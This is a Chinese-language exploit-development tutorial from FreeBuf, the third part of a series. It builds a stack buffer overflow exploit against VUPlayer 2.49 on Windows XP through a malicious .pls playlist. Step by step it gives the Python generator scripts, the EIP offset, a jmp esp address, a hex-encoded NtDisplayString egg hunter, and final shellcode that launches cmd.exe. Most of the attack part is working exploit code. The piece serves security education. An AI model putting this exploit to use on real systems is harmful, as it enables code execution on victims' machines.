* 本文作者：zusheng，本文属FreeBuf原创奖励计划，未经许可禁止转载
0x01 前言
漏洞-信息安全界最常见的词汇，在百度百科是这样描述的。
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。
本文主要介绍的是Windows软件漏洞的利用开发教程。
我花了大量的时间来研究了计算机安全领域Windows漏洞利用开发，希望能和大家分享一下，能帮助到对这方面感兴趣的朋友，如有不足，还请见谅。
0x02 准备阶段
欢迎阅读本系列文章的第三部分，如果你错过了第二部分，请点击下方传送门。
http://www.freebuf.com/articles/system/167959.html
本部分我们将利用Egg hunter技术在堆栈中查找shellcode。
我们需要准备以下工具：
1、Windows XP SP3 32-bit系统iso镜像
2、Immunity Debugger-漏洞分析专用调试器
3、代码文本编辑器（个人喜好，我用的是notepad++）
4、VUPlayer 2.49
VUPlayer是一款Windows平台下免费的多格式音频播放器，我们的目标是VUPlayer版本2.49，你可以通过下面链接下载存在漏洞的程序。
https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe
软件下载安装
Egg hunter
如果可用缓冲区太小不能将我们的shellcode存放，这时就需要Egg hunter技术来帮助我们了，它可以让你使用少量自定义shellcode来查找实际的shellcode，换句话说，首先执行少量代码，然后尝试查找真正的shellcode并执行。
0x03 漏洞开发分析
首先，我们要了解如何才能使目标程序崩溃。
漏洞存在地址：
https://www.exploit-db.com/exploits/7695/
通过分析漏洞POC我们得知目标程序在打开pls文件发生了堆栈缓冲区溢出，现在我们来写一个fuzzer poc来帮助我们确认溢出。
# -*- coding: UTF-8 -*-
low_size = 2000 #数据总大小
juck = 'A' * low_size #测试字符串
plspayload = juck
plsfp = open("payload.pls","w") #生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
打开payload.pls，崩溃发生。
调试确认漏洞
现在用Immunity Debugger打开VUPlayer并点击Run（F9）
接下来打开测试payload.pls文件
确认EIP地址被覆盖，确认缓冲区被我们占领，非常有趣。
寻找EIP offset
确认完漏洞，接下来我们就要寻找EIP offset来控制EIP的值。
主要使用到mona插件，具体请看第一部分：
!mona pc 2000
!mona pattern_offset 0x68423768
很快我们就找到了偏移量1012.
测试一下EIP是否被准确覆盖。
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x42434445)#覆盖EIP为0x42434445
payload = juck + eip #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload +end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
EIP被准确覆盖
这证明我们能精准控制EIP地址，偏移量是正确的。
寻找合适的地址覆盖EIP
第一部分有介绍，这里我们就直接操作了，运行下列指令我们将得到一个jmp.txt
!mona jmp -r esp
然后我们就得到一个地址0x7c8369f0，这个就是我们需要的EIP地址。
0x04 Egg hunter 介绍及构建
现在我们先更新一下python脚本，然后加入测试shellcode来看看堆栈情况。
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
shellcode = "\xCC" * 40 #测试shellcode
payload = juck + eip + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run，然后打开脚本生成的测试payload.pls文件
这看起来并没有什么问题，我们可以用真实的shellcode来代替了。但这真心不是本文的重点，我们来给自己加点挑战，假如我们没有足够的空间来存放超过32字节的代码，而且也没其他寄存器选择，这时候该怎么办？这看来运气有点不好，但它确实很有意思。
解决的办法就是我们需要去构建一个非常小的汇编语言程序，这个程序能够搜索并执行我们的shellcode。那么它是怎么找到shellcode呢？所以我们shellcode要定义一个独特的标签，这样当它发现这个标签时，它会知道它找到了shellcode，然后再执行。
Egg hunter 的构建
我们将使用基于NtDisplayString技术的egghunter代码，当然这个不是我凭空写出来的，代码本身是公布的，我只是改了标签。
6681CAFF0F or dx,0x0fff ;通过添加循环遍历内存中的页面
42 inc edx ;循环遍历每一个地址
52 push edx ;入栈操作
6A43 push byte +0x43 ;NtDisplayString的系统调用ID
58 pop eax ;出栈操作，其实就是作参数
CD2E int 0x2e ;调用NtDisplayString
3C05 cmp al,0x5 ;对比操作
5A pop edx ;出栈操作
74EF jz 0x0 ;如果ZF标志由CMP指令设置，则存在访问冲突
;无效页面，回到顶部
B874303077 mov eax,0x7a757368 ;标签(7a 75 73 68 = zush)
8BFA mov edi,edx ;将EDI设置为EDX的当前地址指针以用于SCASD指令
AF scasd ;将EAX中的值与DWORD值进行比较
;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode
75EA jnz 0x5
AF scasd
75E7 jnz 0x5
FFE7 jmp edi
它的工作原理就是循环遍历内存页面，发现每个地址的数据，然后将这个数据值与我们给它的唯一标签进行匹配，如果它发现数据与标签匹配，则它跳转到该地址并开始执行shellcode。
现在我们来更新一下python脚本
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "zush" #标志
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "zushzush" # 标签 x 2
shellcode = "\xCC"*300 # 用INT指令模拟shellcode
payload = juck + eip + egghunter + egg + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run，然后打开脚本生成的测试payload.pls文件
你可以在堆栈看到我们的标志，也可以使用Mona命令
!mona find -s "zushzush"
0x05 漏洞利用开发
现在整个开发就很简单了，我们来更新一下python脚本
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "zush" #标志
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "zushzush" # 标签 x 2
badcode = "\x42"*248 #证明即使shellcode空间不足，exploit仍然可以工作
#cmd.exe shellcode
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
shellcode += "\x24\x20\x57\xFF\xD0"
payload = juck + eip + egghunter + badcode + egg + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run，然后打开脚本生成的测试payload.pls文件
exploit成功，cmd窗口打开了。
0x06 总结
本文我们主要了介绍了一种有趣的技术Egg hunter，了解了Egg hunter的应用场景以及如何利用Egg hunter技术解决堆栈存放shellcode空间不足的问题。最后，还是那句话，本人水平有限，如有不足，还请各位兄弟指出。
* 本文作者：zusheng，本文属FreeBuf原创奖励计划，未经许可禁止转载
来源：freebuf.com 2018-04-26 09:00:10 by: zusheng
请登录后发表评论
注册